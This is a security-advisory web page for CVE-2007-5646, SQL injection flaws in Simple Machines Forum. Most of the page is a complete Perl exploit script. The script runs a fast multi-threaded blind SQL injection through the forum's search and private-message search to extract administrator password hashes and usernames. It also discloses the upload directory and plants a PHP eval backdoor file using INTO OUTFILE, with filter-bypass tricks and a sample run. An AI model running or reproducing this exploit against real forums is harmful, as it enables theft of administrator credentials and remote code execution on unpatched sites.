SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Simple Machines Forum multiple sql injection flaws with exploit code.


Arrow  SecurityAlert : 3284
Arrow  CVE : CVE-2007-5646
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : Yes
Arrow  Exploit Available : Yes
Arrow  Credit : Michael Brooks
Arrow  Published : 24.10.2007

Arrow  Affected Software : Simple Machines Forum x < 1.1.4 and x < 1.0.12



Arrow  Advisory Content :  

SMF is a very hardened php application. If anyone wants an example of some
interesting PHP security SMF is a good place to look. Even after being
able to injection SQL I had to take another step and bypass some difficult
filters found in the db_query() function. Ultimately i was able to do
so.

This exploit is using blind sql injection. although you might not believe
it on how fast it is. It can take less than 20 seconds to obtain a 40byte
hash on a remote server!

Be safe,

Michael Brooks

#!/usr/bin/perl

#Written By Michael Brooks

#contact: th3(dot)r00k(at)gmail(dot)com

#SMF 1.1.3 Extremely fast Blind SQL Injection Exploit!

# -Binary Search

# -Multi-Threaded

# -NO benchmark()'s

#

#Two SQL Injection flaws.

#Works with magic_quotes_gpc=On or Off.

#Total Bypass of SMF's SQL Injection filter.

#I submitted a patch for these flaws:

#http://www.simplemachines.org/community/index.php?topic=196380.0

#I would like to thank RetroGod for being so skilled and willing to help me
out.

#**Warning** perl will somtimes seg fault when useing threads.

#Tested Under Linux

use LWP::UserAgent;

use threads;

use Thread::Semaphore;

#global variables

my $threads=1;

my $semaphore = new Thread::Semaphore;

my $globPos : shared=1;

my $oper : shared;

my @result : shared;

my $target;

my $cookie=false;

$type="sleep";

main();#execute main

sub main{

$n=$threads;

$u=$p=$b=1;

$start_time=time;

$e=1;

#Process arguments passed by the command line.

for($v=0;$v<=$#ARGV;$v++){

if(substr($ARGV[$v],0,1) eq '-'){

$var=substr($ARGV[$v],1);

$$var=$ARGV[$v+1];

}

}

@t=split('?',$t);

@t=split('index.php',@t[0]);

$target=@t[0];

if(index($target,"/",length($target)-1)==-1){

$target=$target.'/';

}

if($e!=1){

print "nExample:n";

print "nbrooks@TheLab:~/code/exploits$ ./smf_blind_sql.pl -p -u admin -t
http://127.0.0.1/smf_1-1-3/index.php -n 4 -c
SMFCookie218=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A40%3A%2209
1feddbd31bfa96932a5e4e6c34cb36f2686c1a%22%3Bi%3A2%3Bi%3A1378168836%3Bi%3
A3%3Bi%3A1%3B%7D

nnSMF Is Vulnerable!

Finding Password Hash for the Name: 'admin'

Please Standby...

Password Hash:

1d94709528bb1c83d08f3088d4043f4742891f4f

This attack used 161 HTTP requests and took 8 seconds to complete.

EOFnn";

die();

}

$cookie=$c;

$user=$u;

if($n != 1){

$threads=$n;

}

#Check to make sure the target is vulnerable

if($b!=1||$p!=1){

$vulnerable=1;

#Yes I am assuming the default table prefix, its a shame you can't access
information_schema.

#No prefix is needed for the non-cookie attack becase I do not need a union
select or sub-select!

bin_finder(2,1,"1","smf_members","and 1!=1");

if(int(@result[0])!=0){

$vulnerable=0;

}

$globPos=1;

bin_finder(2,1,"1","smf_members","and 1=1");

if(int(@result[0])!=1){

$vulnerable=0;

}

if($vulnerable==1){

print "SMF Is Vulnerable!n"

}else{

print "nATTACK FAILED!nn";

if($cookie){

print "Try sending a private message to your self or SMF might be
patched.n"

}else{

print "The non-cookie attack requires MySQL 5 so try using the exploit with
-c or SMF might be patched.n"

}

die();

}

}

$m=0;

if($p!=1){

if($user != 1){

print "Finding Password Hash for the Name: '$user'n Please Standby...n";

for(my $x=0;$x<$threads;$x++){

#@threads[$x]=new threads
&bin_finder,16,40,"(conv(SUBSTRING(passwd,%s,1),16,10))=%s",
"smf_members"," and memberName = '".$user."'";

@threads[$x]=new threads
&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and
memberName =". hex_encode($user);

}

for(my $x=0;$x<$threads;$x++){

@threads[$x]->join;

}

print "nPassword Hash:n";

foreach $y (@result){

print sprintf("%x",$y);

}

}else{#

print "Finding An Administrative Credental.n Please Standby...n";

#bin_finder(128 ,1,"count(memberName)","smf_members"," and ID_GROUP=1
");#single thread

#$admin_count=@result[0];

#$globPos=1;

#print "There are $admin_count admins on this forum.n";

#for($a=0;$a<$admin_count;$a++){

for(my $x=0;$x<$threads;$x++){

@threads[$x]=new threads
&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and
ID_MEMBER=1 ";

}

for(my $x=0;$x<$threads;$x++){

@threads[$x]->join;

}

print "nPassword Hash:n";

foreach $y (@result){

print sprintf("%x",$y);

}

$globPos=1;

bin_finder(256,1,"char_length(memberName)","smf_members"," and ID_MEMBER=1
");#single thread

$name_len=@result[0];

$globPos=1;

for($x=0;$x<$threads;$x++){

@threads[$x]=new threads
&bin_finder,128,$name_len,"ASCII(SUBSTRING(memberName,%s,1))",
"smf_members"," and ID_MEMBER=1 ";

}

for($x=0;$x<$threads;$x++){

@threads[$x]->join;

}

print "nName:n";

for($l=0;$l<=$name_len;$l++){

print sprintf("%c",@result[$l]);

}

print "n";

@result=null;

$globPos=1;

#}

}

}elsif($b!=1){

if(!$cookie){

die("nA cookie is needed for this attack!n");

}

print "Determining the exact path to place the backdoor. n Please
standby...n";

bin_finder(512,1,"char_length(value)","smf_settings"," and variable =
'attachmentUploadDir'");#single thread

$length=@result[0];

$globPos=1;

for(my $x=0;$x<$threads;$x++){

@threads[$x]=new threads
&bin_finder,128,$length,"ASCII(SUBSTRING(value,%s,1))", "smf_settings","
and variable = 'attachmentUploadDir'";

}

for(my $x=0;$x<$threads;$x++){

@threads[$x]->join;

}

$path='';

print "Path Disclosed:";

foreach $y (@result){

$path.=sprintf("%c" ,$y);

}

print $path."n";

#$path=~s/_/?/g;#This accounts for the search request being modfied by
SMF.

#$path=~s/%/*/g;

$r=rand();#Random file name so the attack will succeed multiple times
against the same target.

my $ua = LWP::UserAgent->new;

$ua->agent("Firebird");

$ua->default_header("Cookie"=>$cookie);#Its tricky to get double quotes for
the outfile statement.

$load="\,union select ".hex_encode("<?php eval($_GET[e]);?>").' into
outfile "","'.$path.'/'.$r.'.php",""#';

$tst=
$ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1"
,"searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sor
t"=>"ID_PM%7Cdesc","submit"=>"Search"]);

$oper++;

print "nEval Backdoor:n".$target."attachments/".$r.".php?e=phpinfo();n"

}else{

$m=1;

print "A Very Fast Blind Sql Injection Exploit for SMF 1.1.3.nn";

print "-p obtain passwords (if used without -u, then an admin credential
will be obtained)n";

print "-b installs a backdoor using 'into outfile'. (requires -c)
**WARNING** SMF will log this as a single 'Hacking Attempt'!n";

print "-t targetn";

print "-c A valid cookie(Much faster attack)n";

print "nAditional:n";

print "-u obtains the password for a user namen";

print "-n number of threadsn";

print "-e Shows an Example.n"

print "The password hash is generated as:n";

print "sha1(strtolower($username) . $password);nn";

}

if($m!=1){

$t=time-$start_time;

print "nThis attack used $oper HTTP requests and took $t seconds to
complete.";

print "nEOFn";

}

}

#Takes complex input to build the request, returns a simple bool.

sub bin_ask{

my $if = shift;

my $table=shift;

my $where = shift;

my $ua = shift;

my $f=0;

if(!$cookie){

#no union select or sub-select needed for this attack!

$a=time();

#die($where);

#$where="and realName = ".hex_encode("admin");

$load=""\"," or (IF(".$if.",sleep(10),1) $where) limit 1,1 #"";

$load=~s/_/?/g;#This accounts for the search request being modfied by SMF.

$load=~s/%/*/g;

$tst=
$ua->post($target."?action=search2",["advanced"=>"1","search"=>"1","sear
chtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"r
elevance%7Cdesc","brd%5B1%5D"=>1,"submit"=>"Search"]);

$page= $tst->content;

#print "<br>page:".$page;die;

$t= time();

#print "n 1:timen".$t."nn";

if($t-$a>=10){

$f=1;

}

}else{#%sunion select bypasses SMF's filter so i can use a sub-select in
the following query.

$load="\,union select ".hex_encode("1)) or (1!="'") and (select
(IF((".$if."),true,false)) from ".$table." where 1 ".$where.") or (1!="'")
and pmr.ID_MEMBER = 1#'").' # ';#sql comments still work in SMF

$tst=
$ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1"
,"searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sor
t"=>"ID_PM%7Cdesc","submit"=>"Search"]);

$page= $tst->content;

#print $page; die ;

if(index($page,"No Messages Found")==-1){

$f=1;

}

}

return $f;

}

#worker thread

sub bin_finder{

my $base=shift;

my $length=shift;

my $question=shift;

my $table=shift;

my $where=shift;

#One UserAgent object is used per thread.

my $ua = LWP::UserAgent->new;

$ua->agent("Firebird");

$ua->default_header("Cookie"=>$cookie);

#binary search:

while($globPos<=$length){

$semaphore->down;

$c=$globPos;

$globPos++;

$semaphore->up;

my $n=$base-1;

my $low=0;

my $floor= $low;

my $high=$n-1;

my $pos= $low+(($high-low)/2);

my $f=1;

while($low<=$high&&$f){

if(!$cookie){

$great="GREATEST(".sprintf($question,$c).",".$pos.")!=".$pos;#bypass the
filter for the < and > characters

$less ="LEAST(".sprintf($question,$c).",".$pos.")!=".$pos;

}else{

$great=sprintf($question,$c).">".$pos;

$less=sprintf($question,$c)."<".$pos;

}

if(bin_ask($great, $table,$where,$ua)){#asking the sql database if the
current value is greater than $pos

$oper++;

if($pos==$n-1){#if this is true then the value must be the modulus.

@result[$c-1]=$pos+1;

#print "nDBG found:$c:ascii:".sprintf('%c',$pos)."n";

$f=0;

}else{

$low=$pos+1;

}

}elsif(bin_ask($less, $table,$where,$ua)){#asking the sql database if the
current value is less than $pos

$oper++;

if($pos==$floor+1){#if this is true the value must be zero.

@result[$c-1]=$pos-1;

#print "nDBG found:$c:ascii:".sprintf('%c',$pos)."n";

$f=0;

}else{

$high=$pos-1;

}

}else{

#both greater than and less then where asked, so thats two http requests.

$oper++;

$oper++;

@result[$c-1]=$pos;

#print "nDBG found:$c:ascii:".sprintf('%c',$pos)."n";,,

$f=0;

}

$pos=$low+(($high-$low)/2);

}

}

}

#hex_encode was ported from one of RetroGod's php exploits.

#Thanks be to rGod for telling me about this encoding method on milw0rm's
forum back when it was still up.

#rGot you are leet!

sub hex_encode{

my $my_string=shift;

my $encoded="0x";

my $len=length($my_string);

for ($k=0; $k<$len; $k++){

$temp=sprintf("%X",ord(substr($my_string,$k,1)));

if (length($temp)==1) {

$temp="0".$temp;

}

$encoded.=$temp;

}

return $encoded;

}






Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.